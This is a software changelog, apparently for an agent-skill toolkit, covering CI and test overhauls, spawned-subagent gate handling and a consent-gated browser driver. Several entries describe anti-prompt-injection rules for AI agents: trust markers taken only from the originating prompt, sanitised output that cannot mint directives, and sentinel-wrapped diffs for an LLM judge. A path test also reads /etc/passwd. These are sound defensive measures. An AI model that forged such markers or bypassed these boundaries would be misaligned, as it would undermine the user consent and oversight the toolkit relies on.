- **CI setup deduplicated into four composite actions**; the register-skills composite carries the fail-fast dangling-symlink verification loop that only the deleted matrix copy had, so the surviving lanes inherit it. Rerun-safe, frozen-lockfile fallback, input-validated.
- **Supply chain pinned**: the claude CLI in the CI image is an exact version (bumps ride PRs that run the PTY gate, ending the weekly-latest drift that broke the harness three times), and every action in the secrets-bearing and image-publishing workflows is SHA-pinned.
- **Routing journeys lost their answer key**: the fixture no longer ships a prompt→skill lookup table, so a regressed skill description can actually fail the test again, at roughly half the previous per-journey cost (2 turns, [Skill, Read] only).
- Decided A/B experiments retired (auq-repetition-cut, preamble-script, the opus-47 single-run fanout comparison): one-shot questions answered months ago no longer re-run weekly as coin flips. `plan-ceo-review-expansion-energy` and `ios-qa-e2e` moved to the periodic tier with reasons.

#### Fixed
- **A fail-open reconcile gate**: GitHub's default run-step shell has no pipefail, so the fail-closed report's exit was read from `tee` (always 0) in both paid lanes. Now `PIPESTATUS[0]`, pinned by a wiring test.
- **A write-token trust boundary**: the job that executes PR-authored code no longer holds the PR-comment write token; commenting moved to a job that runs zero repo code.
- **Provider-runner orphans**: timeouts kill the whole process group (claude, codex, gemini, and gstack-detach's watchdog with the group id captured at spawn), and the codex/gemini runners inherited the orphan-drain hardening only the claude copy had. The observed 600s-timeout-stretching-past-1400s class is gone, with a regression net.
- **Selection integrity**: 17 phantom selection keys deleted (a reverse invariant now requires every key to name a living test), gitignored `.agents/**` dep patterns that could never match a git diff replaced with their generators, and the codex/gemini local touchfile forks now derive from the canonical map.
- **A cross-shard SKILL.md race**: the opus-47 eval regenerated the live tree's skill files mid-run; it now renders into a scratch dir via `--out-dir`.

#### For contributors
- `bun run eval:flake-rank` (with `--json`, `--dir`, `--since-days`) is the promotion-clock dial; the WS16 required-check decision reads it.
- The overhaul plan (16 workstreams, reviewed by CEO + eng passes with two cross-model outside voices) continues: budget-aware shard walls, PTY readiness events, free-suite splits, judge determinism, and required-check promotion are the next waves.

## [1.76.0.0] - 2026-08-31

**Ship's doc-sync now survives Conductor.**
**Spawned subagents finally know they're spawned.**

Every Conductor-hosted /ship used to lose its PR `## Documentation` section the moment the document-release subagent hit an interactive gate: the subagent inherited the parent's environment, classified itself as a session a human was watching, rendered a decision brief nobody could answer, and stopped. The JSON contract broke, every time a gate fired (#2733). This release makes the spawned classification reachable: /ship marks its subagent with `GSTACK_SESSION_KIND=spawned`, and the whole stack (preamble, AskUserQuestion rules, both AUQ hooks) now resolves gates by auto-choosing the recommended option instead of writing prose to nobody. Destructive options are never auto-chosen, on any surface: the conservative choice wins and gets recorded. Auto-chosen decisions come back in a `decisions` array the parent prints to your console, so nothing is decided invisibly.

### The numbers that matter

Source: the new gate-tier E2E (`test/skill-e2e-docsync-spawned.test.ts`) run receipt under `~/.gstack/projects/<slug>/evals/`, plus issue #2733's field reports.

| Metric | Before | After | Δ |
|---|---|---|---|
| `## Documentation` on Conductor-hosted ships | dropped whenever a doc gate fired | present, E2E-proven | fixed |
| Ways to reach the spawned classification | 1 (OpenClaw env only) | any dispatching skill, one env prefix | new primitive |
| Onboarding prompts consumable by unwatched subagents | up to 11 blocks per run, markers eaten | 0 emitted, markers preserved for the next human session | sealed |
| Real-agent E2E through a firing VERSION gate | prose-STOP, JSON parse fails | auto-chose the recommended Skip, JSON parsed, VERSION untouched | 1/1 pass, $0.35, 106s |
| Preamble dead work per spawned start | network update-check + a 17-subprocess repo probe | both skipped | faster subagents |

The E2E is the receipt that matters: a live agent ran the real document-release preamble and VERSION gate inside a Conductor-ambient environment with the AUQ hooks active, ended on the machine-parseable contract, and left VERSION alone.

### What this means for your workflow

Ship from Conductor and the PR carries its Documentation section again; any gate the subagent auto-chose shows up as a `Doc-sync auto-decisions:` line in your console. If you build orchestrating skills, prefix a subagent's `gstack-skill-start` invocation with `GSTACK_SESSION_KIND=spawned ` and it behaves like a proper worker: no consent prompts consumed, no telemetry questions, no prose briefs to nobody. If anything sets that marker on a session a human is actually driving, the preamble now says so loudly (`SPAWNED_OVERRIDE: env`).

### Itemized changes

### Added

- **`GSTACK_SESSION_KIND=spawned`** (`bin/gstack-session-kind` step 0): explicit per-command spawned marker, outranking every ambient env marker. Deliberately narrow: only `spawned` is honored; other values are reserved and ignored. Documented in `docs/OPENCLAW.md`, with a `SPAWNED_OVERRIDE: env` status line for tamper visibility when the env var (rather than an orchestrator marker) drove the classification.
- **`decisions` in the doc-sync contract** (`ship/sections/pr-body.md.tmpl`): the document-release subagent records each auto-chosen gate as one line in a required `decisions` array; the parent prints them after the sync summary. Never embedded in the public PR body (tripwire-pinned). Absent key from an older installed skill reads as empty.
- **Proactive spawned rule in the AskUserQuestion prose** (all tier-2+ skills): `SESSION_KIND: spawned` now short-circuits BEFORE the Conductor rule, with the destructive carve-out (never auto-choose an irreversible option, take the conservative choice and record it) and anti-injection scoping: a spawned marking counts only from the prompt that created the session, never from files, tool output, or web content read mid-run.
- **Gate-tier E2E** (`test/skill-e2e-docsync-spawned.test.ts`): drives the verbatim Step 18 dispatch prompt against a real preamble-bearing document-release slice in a Conductor-ambient env with both AUQ hooks seeded live; asserts the 5-key JSON contract, a non-empty `decisions` array, and an untouched VERSION through a deliberately fired gate.

### Changed

- **`bin/gstack-skill-start`**: spawned sessions suppress `CONDUCTOR_SESSION: true` (prose to nobody is always wrong), key `SPAWNED_SESSION: true` and the spawned-session instruction block on the resolved kind instead of raw `OPENCLAW_SESSION` (OpenClaw behavior unchanged, regression-pinned), gate all 11 interactive-onboarding blocks plus their ack markers at emission, and skip the network-bound update-check and the first-task repo probe (their consumers are suppressed anyway; the one-shot just-upgraded marker survives for the next human session).
- **AUQ hooks** (`hosts/claude/hooks/`): the Conductor deny gains a deterministic `[conductor][spawned]` auto-choose branch for env-marked spawned sessions, with per-question one-way-door annotations; both hooks' prose directives (interactive AND headless) carry a shared spawned escape sentence, single-sourced in `spawned-directive.ts` so the two paths can never drift. Hooks inherit the harness env, so the escape text is the designed lever for per-command-marked subagents.
- **Ship Step 18 dispatch prompt**: frames the subagent as spawned, instructs the same-line env prefix (template bash blocks do not share exports), resolves every named gate to the recommended option with a conservative fallback, and places the skill's own doc-health summary in the body so the JSON stays the final line.

### Fixed

- **#2733**: Conductor-hosted /ship runs no longer lose their Documentation section when document-release hits an AskUserQuestion gate. The failure was gate-correlated and hit every ship on affected hosts.

### For contributors

- Skeleton byte ceilings in `test/helpers/carve-guards.ts` re-ratcheted for the AUQ prose growth (19 skills, measured values in comments); `test/fixtures/context-budget.json` recaptured in the same commit per the ratchet protocol.
- New `docsync-spawned` selector in touchfiles (deps name every behavior under test) and a matching gate row in `.github/workflows/evals.yml`; `bin/gstack-session-kind` joined the `conductor-prose` and `auto-decide-preserved` selectors (it previously appeared in no dep list).
- `test/gstack-session-kind.test.ts`, both hook suites, the resolver suite, and the dispatch tripwire gained ~25 cases, including a `spawnedByEnv()`-vs-script parity pin and a cross-surface destructive-policy drift guard.

## [1.75.0.0] - 2026-08-29

**Your review now hunts over-built code, not just broken code.**
**And every skill's advice starts with "reuse before you build."**

This release imports the best of ponytail, the code-minimalism ruleset, without importing its build-less posture. /review gains an eighth lens: a simplification specialist that flags unrequested structure (hand-rolled stdlib, one-implementation abstractions, dead flexibility, dependencies duplicating platform features) in a closed five-tag vocabulary. It is advisory only. It cannot dent your quality score, its fixes are never auto-applied, and on a lean diff it tells you something no reviewer ever says: "lean already — nothing to cut." Every tier-2+ skill also gains the reuse ladder (stop at the first rung that holds: this repo, stdlib, native platform, an installed dependency... then build the complete version of what remains) and a bounded closer, so completion reports stop touring every edit. Accepted shortcuts now leave a durable trail: a decision-ledger entry plus a `gstack-shortcut(dec-<id>)` marker in code, harvested into a debt ledger by /retro. Agent hosts without a full install (Zed, Amp, Cursor side projects) get a 1.8KB rules digest to copy into their own rules file. And /autoplan now runs the Eng review last, always, so the required shipping gate reviews the final amended plan instead of a stale one.

### The numbers that matter

Source: this branch's own runs, recorded under `~/.gstack/projects/<slug>/evals/` and the commit receipts.

| Metric | Before | After | Δ |
|---|---|---|---|
| /review lenses | 7 | 8 (simplification, advisory) | +1 |
| Simplification lens on this branch's own 5,190-line diff | n/a | `net: -37 lines possible` | dogfooded |
| AskUserQuestion preamble section, per skill | baseline | -236 B (~9.7 KB across 41 skills) | gated by a live A/B: post-cut 7/7 format elements, substance equal to pre-cut |
| Instruction-tier artifact for rules-reading hosts | none | 1,765 B committed digest (2,048 B budget) | new |
| Skills-earn-their-tokens benchmark | none | 3 tasks x 2 arms (with/without skill), judged on the diff left behind | new |
| /autoplan phase order | CEO, Design, Eng, DX | CEO, Design, DX, Eng always last | the gate sees the final plan |

The A/B receipt is the one to trust: the AskUserQuestion cut only landed because a two-arm eval on real SDK captures showed the shorter render lost nothing (the gate outranked the approval, by design).

### What this means for your workflow

Run /review on a branch you suspect is over-built and read the `[ADVISORY]` rows plus the `net: -N lines possible` footer; nothing blocks, nothing auto-applies, you decide. Take a shortcut in an AskUserQuestion and it stops rotting silently: /retro reads the ledger back to you with its upgrade trigger. If you work in a rules-reading editor without a gstack install, copy `agents-digest/gstack-AGENTS.md` into your rules file and the ethos rides along.

### Itemized changes

### Added

- **Simplification review specialist** (`review/specialists/simplification.md`): closed tag vocabulary (`delete:` / `stdlib:` / `native:` / `speculative:` / `shrink:`), dispatched on diffs over 100 lines, `--simplification` force flag. Advisory carve-out end to end: excluded from the quality score and findings-count header, ASK-only in Fix-First, `[ADVISORY]` labels, parent-printed `net: -N lines possible` footer, and a `Simplification: lean already — nothing to cut.` zero-findings line. Precision guarded by a false-flag fixture (a complete-but-lean diff must yield NO FINDINGS) and coverage-vs-structure boundary text (tests, error paths, and edge cases are never deletion targets).
- **Reuse ladder in Search Before Building** (every tier-2+ skill): before writing new code, stop at the first rung that holds — a helper already in the repo, the stdlib, a native platform feature, an already-installed dependency — then build the complete version of what remains. Root-cause rule included: one guard in the shared function beats a guard in every caller.
- **Bounded closer** (every tier-2+ skill): after completing work, report what changed, what was skipped, what to watch — a few short lines, with report-shaped skills (/qa-only, /plan-*-review, /retro, /document-generate) explicitly exempt because their report IS the work.
- **Shortcut debt ledger**: accepting a Completeness ≤ 7 option on a durable-scope call now logs the ceiling and upgrade trigger to the decision ledger and marks each cut corner with `gstack-shortcut(dec-<id>): <ceiling>, upgrade when <trigger>`; /retro Step 11.5 harvests the markers, joins them on decision ids, and tags `unlinked` and `no-trigger` rot risks. Markers survive the redaction engine (pinned by test).
- **Instruction-only host tier**: `agents-digest/gstack-AGENTS.md`, a committed, generated, budget-capped (2,048 B) digest of the ethos, reuse ladder, and voice rules. Setup's openclaw/hermes explainer arms print its path for copy-in; setup never writes a user's AGENTS.md (tripwire-tested, including laundered write shapes). README's host table now matches what setup actually does.
- **With/without-skill arm benchmark** (periodic eval): three build-shaped tasks (a native-platform overbuild trap, a CRUD endpoint, a bugfix with planted decoys) run through real `claude -p` sessions twice — with the behavioral-layer skill installed and without — and the staged diff each arm leaves is judged for over-engineering on a 0-3 rubric with a full failure taxonomy (judge_error cells excluded from aggregates but surfaced; zero-diff arms are valid cells). Each cell also runs the fixture's own functional oracle (`checks=pass|fail|none`), so a refusal, a broken implementation, and working code stay distinguishable — correctness before LOC. A research instrument, not a gate.
- **/autoplan runs Eng last, always**: mandatory order is now CEO → Design (if UI scope) → DX (if developer-facing scope) → Eng, with a single final approval gate; clearly-wrong premises queue as User-Challenge items instead of stopping mid-run, and accepting one at the gate amends the plan and re-runs Eng on the amended plan. Static test pins the Eng-terminal order.

### Changed

- **AskUserQuestion preamble section slimmed** (-236 B per skill, ~9.7 KB across the corpus): duplicate statements of the completeness rule, auto-decide marker, and tool-not-prose rule removed while keeping every verbosity floor and all 14 format pins. Landed only after a live NOT-WORSE A/B (pre-cut vs post-cut render, identical prompt, SDK capture) showed zero format-element loss and equal recommendation substance.
- **Terse-mode label tells the truth**: the claimed savings is now the measured 2.6 KB, not "~3-5 KB".
- `/review` checklist knows Completeness Gaps and Simplification are orthogonal (coverage up, structure down), and a `gstack-shortcut` marker downgrades a would-be gap finding to acknowledged debt — but only when its decision id resolves in the ledger; an orphan marker is reported as a forged suppression (cross-model adversarial catch).

### Fixed

- **Version bumps no longer strand the agents digest**: `gstack-version-bump write --regen-digest` reruns the repo's digest generator in the same mutation (explicit opt-in — a plain `write` never executes repo files it merely finds), and both ship's and land-and-deploy's evidence gates allow-list the digest alongside VERSION. Without this, every release commit of this repo would have failed the freshness CI check.
- **The free-suite flaky retry can no longer mask real failures**: the retry pass vetoes on ANY unattributable failure evidence (headerless failures, unhandled errors between tests, truncated runs), an empty shard carries an empty failing-files list instead of crashing the retry, and a dead conditional was removed.
- **Version allocation distrusts laundered git**: `gstack-next-version` consults `ls-remote` only when origin is actually configured, and a configured origin that "successfully" advertises zero heads (the Conductor git shim's failure shape) now falls back to local refs with a loud warning instead of reading an empty queue and reallocating a taken version. Both shim shapes are pinned by regression tests.
- **Browse temp paths are portable**: local file serving accepts both the browse TEMP_DIR and the OS tmpdir (`TEMP_DIRS` allowlist), while remote serving stays pinned to TEMP_DIR only (the security asymmetry is test-enforced). An untrustable TMPDIR (`/`, `$HOME`, an ancestor of the daemon's cwd) is ignored rather than trusted for the daemon's lifetime.
- Setup's instruction-tier pointer prints a script-anchored digest path instead of a cwd-relative one that broke when invoked from another directory.
- /retro's shortcut harvest no longer reports phantom debt from files that merely document the marker convention (placeholder filter + judgment prose).
- The arm benchmark harvests against a recorded seed commit (immune to agents that commit and push), ignores node_modules, survives multi-megabyte patches, names its judge-diff cap and reports truncation loudly, and wraps untrusted diffs in per-call random sentinels so a faked closing marker cannot steer the judge.
- The AUQ A/B eval treats a judge failure on either side as inconclusive instead of coercing it to a fake degradation-or-mask, and reads its pre-cut arm from a vendored fixture instead of a branch-local SHA that dies with the branch.

### For contributors

- `bun run test` gains sandbox knobs: `GSTACK_FREE_JOBS` overrides shard count (digits-only, loud on garbage) and `GSTACK_FREE_RETRY_FLAKY=1` opts into one serial retry pass for syscall-supervised sandboxes (default stays OFF — dev boxes should see flakes). `scripts/sandbox-doctor.sh` makes a Vercel/Conductor cloud sandbox run the suite green in one idempotent command (documented in docs/TESTING_INTERNALS.md): atomic git-shim patching with a backup, loud on patch-pattern drift, :99-socket Xvfb detection, dnf-gated installs, and it survives a missing /dev/shm. A failed digest regen now fails `bun run gen:skill-docs` locally instead of deferring the red to CI.
- The arm-benchmark selftest (fixture integrity, judge plumbing, install asymmetry) now runs FREE in `bun run test` on every PR via `test/arm-benchmark-selftest.test.ts` — the paid periodic instrument can no longer burn money on broken fixtures.
- Eval-store schema v2: harvest records carry `{insertions, deletions, net}`; `recordE2E` now populates `tokens_used`.
- Touchfiles dep lists closed gaps (fixtures, judge helper, harness, ship render) and the context-budget ratchet fixture was re-captured, locking the AskUserQuestion reduction so it cannot silently regress.
- New coverage: TEMP_DIRS widening + remote-serving asymmetry, shortcut-marker writer/harvester grammar joint, sandbox-doctor shell guards, GSTACK_FREE_JOBS parsing, laundered-ls-remote shims, digest freshness/budget/writer tripwires, and a real generator round-trip through the version bump.

## [1.74.0.0] - 2026-08-29

**Green now means green: every test runs somewhere, provably.**
**The suites got faster by deleting lies, not by skipping work.**

This release is a full audit and overhaul of gstack's own test and CI system. The audit found the safety net lying in specific ways: three CI eval jobs ran zero tests and passed on every PR, four paid test files could never execute in any lane, the required free-tests check silently skipped nine make-pdf gates on Linux for their entire life, and about 57 E2E files ran in no scheduled lane at all. All of it is fixed, and each fixed class now has a tripwire so it cannot quietly return.

Speed came from structure. The free suite packs shards by recorded per-file durations instead of file counts, and the serial tree-mutating shard is gone entirely: the generator gained a main() guard and renders every host into out-dirs, so the suite never writes the live tree. The paid lane re-platforms CI onto the same sharded runner you use locally, with one planner manifest, sliced executors, and a report that fails closed when a slice's artifact never lands.

### The numbers that matter

Sources: live CI run 33194732051 (pre-change shard timings), the committed durations seed (`bun run test:free --record-durations`, 496 files), and the planner's own output on this branch.

| Metric | Before | After | Δ |
|---|---|---|---|
| Free-suite shard spread | 28s to 97s | 6 shards, ~80s predicted each | balanced |
| Serial mutator tail, every run | ~35-40s | 0s (shard dissolved) | gone |
| Paid files runnable in NO lane | 4 | 0 | tripwired |
| E2E files in no weekly CI lane | ~57 | 0 (3 reasoned excludes) | contract |
| Zero-test green CI jobs per PR | 3 | 0 | deleted |
| Touchfiles keys missing self-registration | 129 | 0 | enforced |
| Hand-tuned paid timeout literals | 395 | 97 (46 justified) | 5 tiers |

The self-registration number is the quiet one that matters most: before it, editing only a test's assertions selected nothing, so the changed test never ran on the change that changed it.

### What this means for you

`bun run test` is honest and flat: no hidden slop scan, no serial tail, shards that finish together. Paid CI and local paid runs share one engine, so a shard that never starts, a slice that dies, or a file that self-skips everything is a red check with a name, never a silent pass. When you add a paid test, the orphan tripwire forces it into the census the same commit. Upgrade, run `bun run test:free`, and read `docs/TESTING_INTERNALS.md` if you maintain tests.

### Itemized changes

#### Fixed (what green means)
- The required free-tests lane builds the gate binaries (`build:gates`) and runs the nine make-pdf e2e gates that silently self-skipped on Linux since they existed; `GSTACK_EXPECT_BINARIES=1` + `ci-prereqs.test.ts` invert the skip polarity in CI so the class cannot return.
- Deleted the two vestigial eval matrix rows that ran zero tests per PR (codex/gemini, periodic-tier files with no row tier) and armed `e2e-pty-plan-smoke` with its missing `tier: gate` (it burned ~7 minutes of setup then skipped every describe).
- Activated the four paid test files whose names fell outside the paid globs (net execution zero, forever): carve-section-loading, codex-e2e-plan-format (+ its missing periodic gate), codex-e2e-recommendation-substance, llm-judge-recommendation. New `paid-orphan-tripwire.test.ts` fails the suite on any EVALS-gated file outside the globs.
- 135 touchfiles keys now name their own declaring test file; the tier-alignment warning became a hard failure with a 4-entry ratchet.
- Five quarantined browse tests reactivated (two guard the extension's privileged-message security boundary); root cause was stale dev-machine state, proven byte-identical since v1.66.
- The two `expect(true)` paid stubs are `test.todo` (reported as todo, never pass), keeping their selector surfaces.
- Five test files stopped assigning `GSTACK_HOME` at module scope (it leaked into every sibling in the shard process); a static tripwire blocks recurrence.
- Shared `/tmp` artifact paths in six PTY tests became per-test mkdtemps (they collided under retry and parallel worktrees); 18 live-repo `cwd:` sites audited and reason-commented.
- `restrictDirectoryPermissions` warns and skips symlinked dirs on both platforms (chmod and icacls dereference the link), closing the Windows lane's standing red with a platform-aware regression test.
- Judges resolve their model through `lib/eval-model.ts` (the global `GSTACK_EVAL_MODEL` override now applies) and retry 429s with jittered exponential backoff instead of one fixed second.
- Seven 28-minute test timeouts inside 25-minute CI jobs trimmed to the physical ceiling; an `eval-budgets` fit test pins that budgets above the wall cannot come back.

#### Changed (speed and structure)
- Free suite: duration-aware LPT shard packing from the committed seed (`scripts/free-test-durations.json`, refresh with `bun run test:free --record-durations`), duration-aware wall timeouts, per-shard prediction logging, corrupt-seed fallback to hash sharding. The `--shard` CI-matrix contract is untouched.
- `TREE_MUTATING` is empty: `gen-skill-docs.ts` gained a `main()` guard (imports never regenerate; pinned by an import-purity test) and `--out-dir` renders every host, so all eight former mutators render into mkdtemps and the four ratchet readers rejoined the parallel shards.
- Paid runner: full-stream spooling to per-shard log files (no more 30-minute streams held in RAM), shared `runShardChild` lifecycle with the expectedFiles enforcement drift fixed, parent-computed selection propagated to children via `EVALS_SELECTION_JSON` (fail-open), retry parity as literals.
- Paid CI re-platform (parity phase): evals.yml gains a sliced lane (planner manifest, 6 executors, fail-closed report) running alongside the legacy matrix; evals-periodic.yml runs ALL periodic-tier tests weekly minus the reasoned exclusions in `periodic-exclude-data.ts`, plus a weekly full-gate census and a tracking-issue upsert on red weeks. The hollow-shard guard fails exit-0 shards that executed zero tests under `EVALS_ALL`.
- 298 paid timeout literals swept onto five named tiers (`test/helpers/eval-budgets.ts`), round-up only.
- `slop:diff` left `bun run test` (it silently added up to 240s) and runs in quality-gate per PR instead; `/review` keeps its interactive run.
- The four worst fixed sleeps (300s/30s/30s/20s) became condition polls or stdin-EOF-bound child lifetimes; the parent-watchdog test dropped from 24s to 3.6s with a strictly stronger assertion.
- CI hygiene: least-privilege permissions on every workflow, one pinned Bun version everywhere (drift-tested), the image-tag triple bound by test, ci-image stops rebuilding identical images on every ship, quality-gate dropped its 74-second full-history checkout, fork-safe concurrency keys, timeouts on every job, windows caches warm-start on lockfile bumps.

#### Added
- 95 tests for six zero-coverage surfaces: the eval CLI family (eval-list/compare/summary/select), slop-diff, the code-intelligence CLI, browse media-extract and session-cookie-store, and lib/version-source.
- Policy and tripwire tests: paid-orphan tripwire, GSTACK_HOME module-scope tripwire, bun-version drift, image-tag binding, gen-skill-docs import purity, out-dir byte-identity for external hosts, manifest/slice/report contract, eval-budget fit and ratchet, periodic-exclude policy, selection propagation drift.
- `test/helpers/run-bin.ts`: one spawnSync wrapper replacing ~36 near-identical local `run()` helpers (first three files migrated; the rest are a filed follow-up).

#### For contributors
- `docs/TESTING_INTERNALS.md` documents the new runner architecture; CLAUDE.md's testing prose matches it. TODOS.md closes the absorbed backlog items (periodic coverage contract, eval-harness observability, the sidebar trio, which turned out already deleted) and files the follow-ups: legacy matrix deletion after parity, the required-check decision, browse /tmp-namespace hardening, PTY boot-readiness waits, the single typed test registry, and the bun-native LPT swap at the next Bun unpin.

## [1.72.0.0] - 2026-08-28

**"Go register an API key" now drives your real browser.**
**Aside is the recommended driver, consent asked every single time.**

When a workflow hits a third-party website moment, registering an API key, creating a vendor account, wiring a webhook, gstack now checks for the Aside AI browser and offers to drive it: your real logged-in sessions, no cookie export, no re-auth. You approve each drive per task, by name and by site. Passwords, payment, CAPTCHAs, and identity stay yours; Apple credential creation is never a drive target in any skill. No Aside installed? On a Mac you get one download pointer (aside.com, macOS 15+), once, and gstack's own visible browser remains the fallback everywhere. gstack never runs an installer for you, and a detected binary is never treated as consent.

This release also fixes a real hardening bug: on hosts where the process holds CAP_FOWNER (Docker as root, CI sandboxes), the browse daemon's owner-only chmod could land on `/tmp` itself when a state file was configured there, locking the whole machine's `access(2)` checks out for everyone. The permission code now refuses shared, sticky, symlinked, or foreign-owned directories, warns instead of going silent, and pins the check and the chmod to one inode.

### The numbers that matter

Source: this branch's test runs on a Linux CAP_FOWNER sandbox, plus the eval records under `~/.gstack/projects/<slug>/evals/`.

| Metric | Before | After | Δ |
|---|---|---|---|
| Drivers offered at a third-party web moment | 1 ($B headed) | 2 (Aside recommended, $B fallback) | +1 |
| `/tmp` after a `BROWSE_STATE_FILE=/tmp/x.json` boot on a CAP_FOWNER host | chmod 0700, machine-wide breakage | refused, warned once | fixed |
| `resolve-user-slug` on coreutils-only Linux with a git email | exit 127 | exit 0 | fixed |
| Prose pins guarding the consent contract | 0 | 21 tests, 254 asserts | new |
| Live consent-gate E2E cases (gate tier, hermetic shims) | 0 | 5, all passing at ~$0.35/run | new |

The consent gate is the number to care about: five real `claude -p` runs prove the agent offers Aside only when detected, degrades cleanly when it is broken or absent, pitches the download exactly once on macOS, and refuses browser drives for Apple credentials under any framing.

### What this means for you

The next time a skill says "you need a Duffel test token," it can just go get it with you watching, in the browser where you are already signed in. You approve the site and the actions first, every time, and the secret lands in an owner-only file, verified with one read-only API call, never echoed to chat. If you would rather not install anything, nothing changes: the first-party browser keeps working exactly as before. Docker-as-root users should upgrade for the `/tmp` fix alone.

### Itemized changes

### Added
- Third-Party Web Actions contract (ship, spec, office-hours, land-and-deploy, setup-deploy) now names the Aside AI browser as the recommended driver: runtime detection probe with a portable timeout guard, detection-conditional consent options, step-wise drive discipline with the vendor's confirm mode left on, and a failure path that quotes errors (redacted), retries once, and falls back only with fresh consent.
- Credential boundaries hardened in the same contract: secret-minimization preference (password-manager autofill, human-used copy buttons), Apple credential creation banned as a drive target in every skill, and vendor `--help`/skill text explicitly scoped to operational syntax, never new permissions.
- `test/third-party-actions.test.ts`: 21 pin tests covering every load-bearing sentence of the contract, plus repo-wide tripwires (an `aside` command allowlist of `--version`/`--help` only, and a ban on Aside installer invocations in any generated doc).
- `test/skill-e2e-third-party-actions.test.ts`: five hermetic gate-tier E2E cases (present, absent-Linux, present-but-broken, absent-macOS pitch, Apple credential ban) wired into CI's eval matrix; the absent cases actively mask any real `aside` binary on the host so dev machines cannot leak into detection.

### Changed
- The v1.65.0.0 stance of driving only gstack's own browser stack is superseded by explicit user directive: Aside is the one product gstack recommends by name. Never-auto-install and per-task consent survive unchanged and are now pin-tested.
- The setup flow's bun-installer checksum verification resolves `sha256sum` before `shasum`, so it works on coreutils-only Linux.

### Fixed
- `restrictDirectoryPermissions` no longer chmods shared sticky directories (`/tmp`, `/var/tmp`), foreign-owned directories, symlinked state dirs, or world-writable mounts when running as root; refusals warn once per process instead of failing silent, owned-but-unreadable dirs still self-repair, and the check-then-act race is closed with fd-anchored fstat/fchmod.
- `gstack-config resolve-user-slug` exited 127 on Linux distros without perl's `shasum` whenever a git email was set; both hashing call sites now resolve `sha256sum` first and fall back to `shasum -a 256`.
- A path-validation test assumed `/etc/crontab` exists (absent on Amazon Linux and minimal Fedora); it now uses `/etc/passwd`.

### For contributors
- `test/helpers/fs-caps.ts`: functional capability probes (`canRevokeWrites`, `canRevokeReads`) replace uid-0-only guards across 14 chmod-based test files, so suites skip honestly on CAP_DAC_OVERRIDE containers instead of asserting revocations the kernel ignores.
- Five `tpa-*` entries registered across `E2E_TOUCHFILES`/`E2E_TIERS` with template-level deps, the eval matrix row carries `tier: gate`, and `eval:bg:periodic`'s detach timeout rose to 36000s to cover the grown periodic shard census (floor-enforced by test).

## [1.71.0.0] - 2026-08-27

**Every skill invocation just got half the prompt bill.**
**Same behavior, measured by A/B evals, locked by CI ceilings.**

Every gstack skill pays a fixed prompt cost before doing any work. This release cuts that cost across all 62 skills and pins the wins so they can't creep back. The shared preamble's bash moved into two runtime scripts (`bin/gstack-skill-start`, `bin/gstack-skill-end`) that echo the same STATUS lines the prose always interpreted. One-time onboarding text now appears only when its gate actually fires, emitted as session-bound instruction blocks instead of riding along in every render. Eleven more skills got the section carve and office-hours' existing carve went deeper, taking the carved roster from 9 to 20: heavy reference bodies load on demand at the step that needs them, never before.

### The numbers that matter

Source: `bin/gstack-context-bill --diff` comparing the main render against this branch's render, both regenerated from source.

| Ledger | Before | After | Δ |
|---|---|---|---|
| /review eager per invocation | 109.5KB (~26.6K tok) | 53.7KB (~13.0K tok) | −51% |
| /land-and-deploy eager | 109.8KB | 54.4KB | −50% |
| /codex eager | 100.0KB | 53.9KB | −46% |
| Corpus on disk | 6.4MB (~1,651K tok) | 5.4MB (~1,398K tok) | −15% |
| Repo CLAUDE.md (always-on in dev sessions) | 66.4KB | 44.9KB | −32% |

50 of the 62 installed skills dropped (the rest are fixture/alias entries with no preamble to shed). The smallest real cut is −4,780 tokens per invocation (tier-1 utilities); non-carved tier-2 skills each shed a flat ~20.8KB of preamble. Zero always-on or eager growth anywhere in the diff.

The behavioral proof ran before this shipped: an A/B eval pins the script render against the old inline render, a section-loading eval verifies a real agent Reads each carved section before doing its step (20 skills, data-driven), and the full paid gate passed with the environmental-only baseline. The context-budget ratchet re-captured after every wave, so each ceiling now sits at the new, lower number.

### What this means for you

The agent reads roughly half the boilerplate before starting your task, so first-token latency and per-invocation cost drop across every skill you run. Onboarding prompts you already answered never render again. Nothing else should feel different: if a skill behaves differently than it did on v1.69, that's a bug, and the A/B harness exists to catch it. Run `bun run test` after upgrading; the ratchet will tell you if anything grew.

### Itemized changes

### Added
- `bin/gstack-skill-start` / `bin/gstack-skill-end`: the preamble and telemetry runtime, replacing ~18KB of inline bash per tier-2+ skill. Emits a `SKILL_START_PROTO: 1` handshake, STATUS lines, and gated one-time onboarding as `GSTACK_INSTRUCTION` blocks bound to a per-run session ID with a random suffix; passthrough output is sanitized so repo or prior-session content can never mint directive blocks or forge the session ID.
- `bin/gstack-retro-metrics`: deterministic git metrics for /retro (labeled contract, local reads only), replacing inline git/awk in the skill body.
- Section carves for 11 new skills — review, codex, land-and-deploy, autoplan, spec, setup-gbrain, qa, browse, retro, design-html, design-shotgun — plus a deeper office-hours carve (Phase 2A/2B), each with registered guards, loading scenarios, and recomputed size floors. The design carves force-read their UX doctrine before design work begins.
- Context-budget ratchet: a free CI test grades the always-on catalog and each skill's per-invocation cost against committed ceilings; growth fails the suite, reductions re-capture and lock.
- Six reference docs extracted verbatim from the repo CLAUDE.md (browser internals, CHANGELOG format spec, project tree, hermetic-E2E notes, slop-scan guide, OpenClaw publishing), each replaced inline by a short rule plus pointer.

### Changed
- The AskUserQuestion tool-resolution and 5+-option rules render as a compact branch table keyed on echoed STATUS lines; full split/CJK rules live at absolute install paths read on demand. All 14 mandatory format pins stay in every tier-2+ skeleton.
- ios-fix, ios-clean, ios-sync, and ios-design-review dropped to preamble tier 2 (they never used the tier-3 sections).
- The preamble degrades safely on stale installs: missing handshake means safe defaults, deferred onboarding (consent is never lost), and a one-line upgrade hint.
- The privacy consent gate and telemetry prompt fire only in interactive sessions; spawned and headless runs defer them to the next human session.
- Hermetic E2E children get seeded onboarding state in their own `GSTACK_HOME`, so evals never burn turns on first-run prompts.

### Fixed
- The once-daily artifacts pull is now non-interactive and slow-network bounded, so a hung remote can't stall the first skill invocation of the day.
- Branch names and artifacts-repo state files are sanitized before entering STATUS output and timeline records, closing log-forgery paths via hostile ref names or planted files.
- Skill-start no longer parses a multi-megabyte `~/.claude.json` on every invocation when no gbrain server is registered.

### For contributors
- Preamble A/B eval (`skill-e2e-preamble-script-ab`, periodic tier) pins script-render behavior against the pre-consolidation inline render; the carve-section-loading eval covers all 20 carved skills at an honest 480s ceiling.
